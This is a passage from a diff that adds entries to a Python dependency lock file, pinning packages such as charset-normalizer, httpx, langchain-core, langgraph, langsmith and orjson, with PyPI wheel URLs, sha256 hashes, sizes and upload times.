+    { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
+    { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
+    { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
+    { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
+    { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
+    { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
+    { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
+    { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" },
+    { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" },
+    { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "anyio" },
+    { name = "certifi" },
+    { name = "httpcore" },
+    { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.16"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1a/88/bcf9709822fe69d02c2a6a77956c98ce6ea8ca8767a9aadcedc7eb6a2390/idna-3.16.tar.gz", hash = "sha256:d7a6da03db833450fca25d2358ac9ff06cd624577a4aea3a596d5c0f77b8e03d", size = 203770, upload-time = "2026-05-22T00:16:18.781Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/94/16/70255075a9859a0e3adb789b68ceb0e210dec03934245fd98d248226572f/idna-3.16-py3-none-any.whl", hash = "sha256:cc246e3a3f89580c3a951b5ad298ca4638078b2cdd4f115654332b5c26daded5", size = 74165, upload-time = "2026-05-22T00:16:16.698Z" },
+]
+
+[[package]]
+name = "jsonpatch"
+version = "1.33"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpointer" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" },
+]
+
+[[package]]
+name = "jsonpointer"
+version = "3.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/18/c7/af399a2e7a67fd18d63c40c5e62d3af4e67b836a2107468b6a5ea24c4304/jsonpointer-3.1.1.tar.gz", hash = "sha256:0b801c7db33a904024f6004d526dcc53bbb8a4a0f4e32bfd10beadf60adf1900", size = 9068, upload-time = "2026-03-23T22:32:32.458Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/9e/6a/a83720e953b1682d2d109d3c2dbb0bc9bf28cc1cbc205be4ef4be5da709d/jsonpointer-3.1.1-py3-none-any.whl", hash = "sha256:8ff8b95779d071ba472cf5bc913028df06031797532f08a7d5b602d8b2a488ca", size = 7659, upload-time = "2026-03-23T22:32:31.568Z" },
+]
+
+[[package]]
+name = "langchain-core"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "jsonpatch" },
+    { name = "langchain-protocol" },
+    { name = "langsmith" },
+    { name = "packaging" },
+    { name = "pydantic" },
+    { name = "pyyaml" },
+    { name = "tenacity" },
+    { name = "typing-extensions" },
+    { name = "uuid-utils" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/59/de/679a53472c25860837e32c0442c962fa86e95317a36460e2c9d5c91b17c2/langchain_core-1.4.0.tar.gz", hash = "sha256:1dc341eed802ed9c117c0df3923c991e5e9e226571e5725c194eeb5bd93d1a7f", size = 920260, upload-time = "2026-05-11T18:42:35.919Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0f/1a/86c38c27b81913a1c6c12448cab55defb5a1097c7dc9a4cea83f55477a2d/langchain_core-1.4.0-py3-none-any.whl", hash = "sha256:23cbbdb46e38ddd1dd5247e6167e96013eae74bea4c5949c550809970a9e565c", size = 548120, upload-time = "2026-05-11T18:42:33.992Z" },
+]
+
+[[package]]
+name = "langchain-protocol"
+version = "0.0.17"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/44/b3/4e2429876c7a35585618caa2b9f9089f7162a6b50562b614ad82ac11c17e/langchain_protocol-0.0.17.tar.gz", hash = "sha256:e7cbe58c205df4b4fd87dc6d5bb23f10e13b236d0e2e1b0b9d05bc2b648f3eea", size = 6026, upload-time = "2026-06-12T18:39:51.923Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/13/0a/a1bfe72c6ec856e99773bbd96c8086421e554b3693d0142b9ea009c6ac92/langchain_protocol-0.0.17-py3-none-any.whl", hash = "sha256:982a08fe152586ed10d4ff3d538c2e0b5766e5f307cdea325e10be3f2c17cae6", size = 7096, upload-time = "2026-06-12T18:39:50.973Z" },
+]
+
+[[package]]
+name = "langgraph"
+version = "1.2.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph-checkpoint" },
+    { name = "langgraph-prebuilt" },
+    { name = "langgraph-sdk" },
+    { name = "pydantic" },
+    { name = "xxhash" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e6/5a/ffc12434ee8aecab830d58b4d204ddea45073eae7639c963310f671a5bf5/langgraph-1.2.2.tar.gz", hash = "sha256:f54a98458976b3ff0774683867df125fb52d8dbedeb2441d0b0656a51331cee5", size = 695730, upload-time = "2026-05-26T18:07:28.49Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/42/9b/b08d578bba73e25351152dfd3d6d21e81210a5fff1b6f26e56f33197c8f5/langgraph-1.2.2-py3-none-any.whl", hash = "sha256:0a851bf4ba5939c5474a2fd57e6b439b5315283e254e42943bd392c2d71a5e03", size = 236376, upload-time = "2026-05-26T18:07:26.577Z" },
+]
+
+[[package]]
+name = "langgraph-checkpoint"
+version = "4.1.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "ormsgpack" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/83/47/886af6f886f0bff2273164a45f008694e48a96ff3cd25ff0228f2aa9480e/langgraph_checkpoint-4.1.1.tar.gz", hash = "sha256:6c2bdb530c91f91d7d9c1bd100925d0fc4f498d418c17f3587d1526279482a25", size = 184020, upload-time = "2026-05-22T16:57:38.503Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/bd/b4/71425e3e38be92611300b9cc5e46a5bf98ab23f5ea8a75b73d02a2f1413c/langgraph_checkpoint-4.1.1-py3-none-any.whl", hash = "sha256:25d29144b082827218e7bc3f1e9b0566a4bb007895cd6cc26f66a8428739f56e", size = 56212, upload-time = "2026-05-22T16:57:37.203Z" },
+]
+
+[[package]]
+name = "langgraph-prebuilt"
+version = "1.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "langchain-core" },
+    { name = "langgraph-checkpoint" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/29/66/ed9b93f56bc17ef22d551892f0ac2b225a97fe0fcf23a511b857f70d590b/langgraph_prebuilt-1.1.0.tar.gz", hash = "sha256:3c579cf6eed2d17f9c157c2d0fcaddcd8688524e7022d3b22b37a3bf4589d528", size = 178833, upload-time = "2026-05-12T03:37:49.332Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e9/43/3fe1a700b8490ed02679cdbbc8c915eb23a092faf496c9c1118abcd10be3/langgraph_prebuilt-1.1.0-py3-none-any.whl", hash = "sha256:51e311747d755b751d5c6b39b0c1446124d3a7643d2515017e6714b323508fc9", size = 41043, upload-time = "2026-05-12T03:37:48.007Z" },
+]
+
+[[package]]
+name = "langgraph-sdk"
+version = "0.3.15"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx" },
+    { name = "orjson" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/66/af/cdd4d6f3c05b3c1112ed3f12ef830faf15951b21d22cbc622a4becbbe25c/langgraph_sdk-0.3.15.tar.gz", hash = "sha256:29e805003d2c6e296823dd71992610976fd0428cefaa8b3304fd91f2247037de", size = 201924, upload-time = "2026-05-22T16:54:27.678Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/be/a5/0196d9c05749c25bc198e4909d68c998bc3120297e14944921baf2f4c384/langgraph_sdk-0.3.15-py3-none-any.whl", hash = "sha256:3838773acf7456d158165385d49f48f1e856f28b56ccd99ea139a8f27004815d", size = 98166, upload-time = "2026-05-22T16:54:26.013Z" },
+]
+
+[[package]]
+name = "langsmith"
+version = "0.8.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "httpx" },
+    { name = "orjson", marker = "platform_python_implementation != 'PyPy'" },
+    { name = "packaging" },
+    { name = "pydantic" },
+    { name = "requests" },
+    { name = "requests-toolbelt" },
+    { name = "uuid-utils" },
+    { name = "xxhash" },
+    { name = "zstandard" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/17/eb/8883d1158c743d0aac350f09df7880714d27283497e8c80bb9fe3480f165/langsmith-0.8.5.tar.gz", hash = "sha256:3615243d99c12f4047f13042bdc05a373dce232d106a6511b3ca7b48c5af1c2c", size = 4462348, upload-time = "2026-05-15T21:31:41.093Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/23/85/968c88a63e32a59b3e5c68afd2fe114ce0708a125db0be1a85efc25fb2ea/langsmith-0.8.5-py3-none-any.whl", hash = "sha256:efc779f9d450dcaf9d97bc8894f4926276509d6e730e05289af9a64debce06ae", size = 399564, upload-time = "2026-05-15T21:31:39.046Z" },
+]
+
+[[package]]
+name = "orjson"
+version = "3.11.9"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" },
+    { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" },
+    { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" },
+    { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" },
+    { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" },
+    { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" },
+    { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" },
+    { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" },
+    { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" },
+    { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" },
